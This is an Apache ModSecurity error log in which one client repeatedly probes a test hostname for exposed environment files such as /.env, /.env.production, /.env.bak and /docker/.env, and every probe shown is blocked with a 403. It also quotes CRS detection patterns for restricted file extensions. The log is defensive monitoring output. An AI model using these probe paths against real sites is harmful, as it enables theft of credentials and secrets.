[Tue Feb 24 11:35:19.425045 2026] [:error] [pid 2297937] [client 185.177.72.60:54954] [client 185.177.72.60] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aZ1-5wV-gKqTl1hyyMHKvgAAAAY&quot;]
[Tue Feb 24 11:35:19.425281 2026] [:error] [pid 2297937] [client 185.177.72.60:54954] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aZ1-5wV-gKqTl1hyyMHKvgAAAAY&quot;]
[Tue Feb 24 11:35:19.425465 2026] [:error] [pid 2297937] [client 185.177.72.60:54954] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aZ1-5wV-gKqTl1hyyMHKvgAAAAY&quot;]
[Tue Feb 24 11:35:19.457336 2026] [:error] [pid 2297937] [client 185.177.72.60:54954] [client 185.177.72.60] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aZ1-5wV-gKqTl1hyyMHKvwAAAAY&quot;]
[Tue Feb 24 11:35:19.457515 2026] [:error] [pid 2297937] [client 185.177.72.60:54954] [client 185.177.72.60] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aZ1-5wV-gKqTl1hyyMHKvwAAAAY&quot;]
[Tue Feb 24 11:35:19.457744 2026] [:error] [pid 2297937] [client 185.177.72.60:54954] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aZ1-5wV-gKqTl1hyyMHKvwAAAAY&quot;]
[Tue Feb 24 11:35:19.457935 2026] [:error] [pid 2297937] [client 185.177.72.60:54954] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aZ1-5wV-gKqTl1hyyMHKvwAAAAY&quot;]
[Tue Feb 24 11:35:19.491689 2026] [:error] [pid 2297937] [client 185.177.72.60:54954] [client 185.177.72.60] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aZ1-5wV-gKqTl1hyyMHKwAAAAAY&quot;]
[Tue Feb 24 11:35:19.491916 2026] [:error] [pid 2297937] [client 185.177.72.60:54954] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aZ1-5wV-gKqTl1hyyMHKwAAAAAY&quot;]
[Tue Feb 24 11:35:19.492094 2026] [:error] [pid 2297937] [client 185.177.72.60:54954] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aZ1-5wV-gKqTl1hyyMHKwAAAAAY&quot;]
[Tue Feb 24 11:35:19.565619 2026] [:error] [pid 2297904] [client 185.177.72.60:54980] [client 185.177.72.60] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /assets/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env&quot;] [unique_id &quot;aZ1-5-97g-gyYBefapkecwAAAAA&quot;]
[Tue Feb 24 11:35:19.565899 2026] [:error] [pid 2297904] [client 185.177.72.60:54980] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env&quot;] [unique_id &quot;aZ1-5-97g-gyYBefapkecwAAAAA&quot;]
[Tue Feb 24 11:35:19.566084 2026] [:error] [pid 2297904] [client 185.177.72.60:54980] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env&quot;] [unique_id &quot;aZ1-5-97g-gyYBefapkecwAAAAA&quot;]
[Tue Feb 24 11:35:19.604095 2026] [:error] [pid 2297904] [client 185.177.72.60:54980] [client 185.177.72.60] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aZ1-5-97g-gyYBefapkedAAAAAA&quot;]
[Tue Feb 24 11:35:19.604347 2026] [:error] [pid 2297904] [client 185.177.72.60:54980] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aZ1-5-97g-gyYBefapkedAAAAAA&quot;]
[Tue Feb 24 11:35:19.604571 2026] [:error] [pid 2297904] [client 185.177.72.60:54980] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aZ1-5-97g-gyYBefapkedAAAAAA&quot;]
[Tue Feb 24 11:35:19.915764 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZ1-51Bkv31AAgJz88byvAAAAAs&quot;]
[Tue Feb 24 11:35:19.916001 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZ1-51Bkv31AAgJz88byvAAAAAs&quot;]
[Tue Feb 24 11:35:19.916184 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZ1-51Bkv31AAgJz88byvAAAAAs&quot;]
[Tue Feb 24 11:35:20.040550 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aZ1-6FBkv31AAgJz88byvQAAAAs&quot;]
[Tue Feb 24 11:35:20.040786 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aZ1-6FBkv31AAgJz88byvQAAAAs&quot;]
[Tue Feb 24 11:35:20.040986 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aZ1-6FBkv31AAgJz88byvQAAAAs&quot;]
[Tue Feb 24 11:35:20.347017 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.vite&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.vite&quot;] [unique_id &quot;aZ1-6FBkv31AAgJz88byvgAAAAs&quot;]
[Tue Feb 24 11:35:20.347281 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.vite&quot;] [unique_id &quot;aZ1-6FBkv31AAgJz88byvgAAAAs&quot;]
[Tue Feb 24 11:35:20.347497 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.vite&quot;] [unique_id &quot;aZ1-6FBkv31AAgJz88byvgAAAAs&quot;]
[Tue Feb 24 11:35:20.721262 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aZ1-6FBkv31AAgJz88byvwAAAAs&quot;]
[Tue Feb 24 11:35:20.721623 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aZ1-6FBkv31AAgJz88byvwAAAAs&quot;]
[Tue Feb 24 11:35:20.721922 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aZ1-6FBkv31AAgJz88byvwAAAAs&quot;]
[Tue Feb 24 11:35:20.863404 2026] [:error] [pid 2297904] [client 185.177.72.60:54980] [client 185.177.72.60] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;aZ1-6O97g-gyYBefapkeeAAAAAA&quot;]
[Tue Feb 24 11:35:20.863788 2026] [:error] [pid 2297904] [client 185.177.72.60:54980] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;aZ1-6O97g-gyYBefapkeeAAAAAA&quot;]
[Tue Feb 24 11:35:20.864070 2026] [:error] [pid 2297904] [client 185.177.72.60:54980] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;aZ1-6O97g-gyYBefapkeeAAAAAA&quot;]
[Tue Feb 24 11:35:22.208613 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZ1-6lBkv31AAgJz88byywAAAAs&quot;]
